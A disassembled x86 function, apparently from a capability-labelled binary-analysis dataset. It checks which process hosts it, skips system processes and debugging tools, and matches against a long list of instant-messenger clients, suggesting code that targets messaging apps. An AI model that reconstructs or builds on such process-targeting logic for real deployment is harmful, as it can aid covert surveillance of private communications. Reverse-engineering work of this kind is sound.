Function at 0x13130130
Capabilities:
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x3bc
push ebp
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1c2]
mov word [esp + 0x1c0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.13178190
test eax, eax
je 0x13130175
lea eax, [esp + 0x1c0]
push 0x103
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x131301c4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xbd]
mov byte [esp + 0xbc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0xbc]
push 0x103
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x1c0]
push 0x104
push edx
lea eax, [esp + 0xc4]
push 0xffffffffffffffff
push eax
call fcn.1312a460
add esp, 0x10
lea ecx, [esp + 0x1c0]
push 0x5c
push ecx
call fcn.1314c9fa
mov edx, eax
add esp, 8
test edx, edx
je 0x1313075c
add edx, 2
mov ecx, 0x41
xor eax, eax
mov edi, 0x132335f0
push 0x103
push edx
rep stosd dword es:[edi], eax
push 0x132335f0
call fcn.1314ca89
mov eax, str.explorer.exe
add esp, 0xc
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], str.smss.exe
mov dword [esp + 0x14], str.csrss.exe
mov dword [esp + 0x18], str.winlogon.exe
mov dword [esp + 0x1c], str.services.exe
mov dword [esp + 0x20], str.lsass.exe
mov dword [esp + 0x24], str.svchost.exe
mov dword [esp + 0x28], str.kernel32.dll
mov dword [esp + 0x2c], str.kp.exe
mov dword [esp + 0x30], str.java.exe
mov dword [esp + 0x34], str.javaw.exe
mov dword [esp + 0x38], str.eclipse.exe
mov dword [esp + 0x3c], str.dbgview.exe
mov dword [esp + 0x40], str.msdev.exe
mov dword [esp + 0x44], str.procexp.exe
mov dword [esp + 0x48], str.editplus.exe
mov dword [esp + 0x4c], str.rundll32.exe
mov dword [esp + 0x50], str.winrdlv3.exe
mov dword [esp + 0x54], str.baiduplayer.exe
mov dword [esp + 0x58], str.baidubrowser.exe
mov dword [esp + 0x5c], str.zwcad.exe
mov dword [esp + 0x60], str.windbg.exe
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], str.rtxmsgmanager.exe
mov dword [esp + 0x6c], str.rtxmsg1.exe
mov dword [esp + 0x70], str.ist.exe
xor edi, edi
lea esi, [esp + 0xc]
mov ebp, dword [esi]
push ebp
call fcn.1314cebe
push eax
push ebp
push 0x132335f0
call fcn.1314cf89
add esp, 0x10
test eax, eax
je 0x131306ae
inc edi
add esi, 4
cmp edi, 0x1a
jb 0x131302d7
mov eax, dword [0x132337f8]
test eax, eax
jne 0x1313075c
push 0x132335f0
call fcn.1312ffc0
add esp, 4
test eax, eax
jne 0x13130752
mov eax, dword [0x132337f8]
test eax, eax
jne 0x1313075c
mov eax, 0x100
mov ecx, 0x400
mov dword [esp + 0xd4], eax
mov dword [esp + 0xd8], eax
mov eax, 0x200
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0x10c], eax
mov dword [esp + 0x110], eax
mov edx, 0x800000
mov ecx, 0x8000
mov eax, 0x4000000
mov dword [esp + 0xc], str.qqeim
mov dword [esp + 0x10], 0x13218338
mov dword [esp + 0x14], 0x1321c1c4
mov dword [esp + 0x18], 0x132182dc
mov dword [esp + 0x1c], str.popo
mov dword [esp + 0x20], str.skype
mov dword [esp + 0x24], 0x1321c1a4
mov dword [esp + 0x28], str.rtxc
mov dword [esp + 0x2c], str.sametime
mov dword [esp + 0x30], str.connect
mov dword [esp + 0x34], str.alitalk
mov dword [esp + 0x38], str.aliim
mov dword [esp + 0x3c], str.fetion
mov dword [esp + 0x40], str.googletalk
mov dword [esp + 0x44], str.baiduhi
mov dword [esp + 0x48], str.263EM
mov dword [esp + 0x4c], str.feiq
mov dword [esp + 0x50], str.officeim
mov dword [esp + 0x54], 0x1321c0ec
mov dword [esp + 0x58], str.nlnotes
mov dword [esp + 0x5c], str.notes2w
mov dword [esp + 0x60], str.notes2
mov dword [esp + 0x64], str.qqcrm
mov dword [esp + 0x68], str.amsger
mov dword [esp + 0x6c], str.line
mov dword [esp + 0x70], str.aliworkbench
mov dword [esp + 0x74], 0x1321c08c
mov dword [esp + 0x78], str.lync
mov dword [esp + 0x7c], str.wechat
mov dword [esp + 0x80], 0x1321c068
mov dword [esp + 0x84], str.imoclient
mov dword [esp + 0x88], str.wxwork
mov dword [esp + 0x8c], str.dingtalk
mov dword [esp + 0x90], 0x1321c028
mov dword [esp + 0x94], str.lxmain
mov dword [esp + 0x98], str.qipmsg
mov dword [esp + 0x9c], str.MideaConnectHanyu
mov dword [esp + 0xa0], str.qidian
mov dword [esp + 0xa4], str.communicator
mov dword [esp + 0xa8], str.cloudhub
mov dword [esp + 0xac], str.zalo
mov dword [esp + 0xb0], str.feishu
mov dword [esp + 0xb4], str.lark
mov dword [esp + 0xb8], str.whatsapp
mov dword [esp + 0xbc], edx
mov dword [esp + 0xc0], 1
mov dword [esp + 0xc4], 2
mov dword [esp + 0xc8], 0x10
mov dword [esp + 0xcc], 0x40
mov dword [esp + 0xd0], 0x80
mov dword [esp + 0xec], 0x800
mov dword [esp + 0xf0], 0x1000
mov dword [esp + 0xf4], 0x2000
mov dword [esp + 0xf8], 0x4000
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x100], 0x10000
mov dword [esp + 0x104], 0x40000
mov dword [esp + 0x108], 0x80000
mov dword [esp + 0x114], 0x100000
mov dword [esp + 0x118], 0x400000
mov dword [esp + 0x11c], 0x1000000
mov dword [esp + 0x120], 0x12
mov dword [esp + 0x124], 0x2000000
mov dword [esp + 0x128], eax
mov dword [esp + 0x12c], 0x8000000
mov dword [esp + 0x130], 0x10000000
mov dword [esp + 0x134], 0x20000000
mov dword [esp + 0x154], eax
mov eax, 0x15
mov dword [esp + 0x138], SysFreeString
mov dword [esp + 0x13c], 0x40000000
mov dword [esp + 0x140], 0x11
mov dword [esp + 0x144], 0x14
mov dword [esp + 0x148], ecx
mov dword [esp + 0x14c], 4
mov dword [esp + 0x150], edx
mov dword [esp + 0x158], 0x20000
mov dword [esp + 0x15c], 8
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], eax
mov dword [esp + 0x168], 0x20
xor esi, esi
lea edi, [esp + 0xc]
mov ebp, dword [edi]
push ebp
call fcn.1314cebe
push eax
push ebp
push 0x132335f0
call fcn.1314cf89
add esp, 0x10
test eax, eax
je 0x131306ed
inc esi
add edi, 4
cmp esi, 0x2c
jb 0x13130688
jmp 0x13130725
mov eax, dword [0x13234310]
test eax, eax
je 0x13130752
push 0x132335f0
push str._s_is_not_im
push 0x132185f8
push 0xffffffffffffffff
push 0x132342a4
call fcn.131403d0
add esp, 0x14
mov dword [0x132337f8], 1
pop edi
pop esi
pop ebp
add esp, 0x3bc
ret
mov eax, dword [0x13234310]
test eax, eax
je 0x13130719
mov edx, dword [esp + esi*4 + 0xc]
push edx
push 0x132335f0
push str._s_maybe_im___s_
push 0x132185f8
push 0xffffffffffffffff
push 0x132342a4
call fcn.131403d0
add esp, 0x18
mov eax, dword [esp + esi*4 + 0xbc]
mov dword [0x132337fc], eax
cmp dword [0x132337fc], 0x1000000
jne 0x13130740
call fcn.1312e780
call fcn.1312e7e0
mov dword [0x13233a3c], eax
mov eax, dword [0x132337fc]
test eax, eax
jne 0x1313075c
call fcn.131368e0
test eax, eax
jne 0x1313075c
mov dword [0x132337f8], 1
pop edi
pop esi
pop ebp
add esp, 0x3bc
ret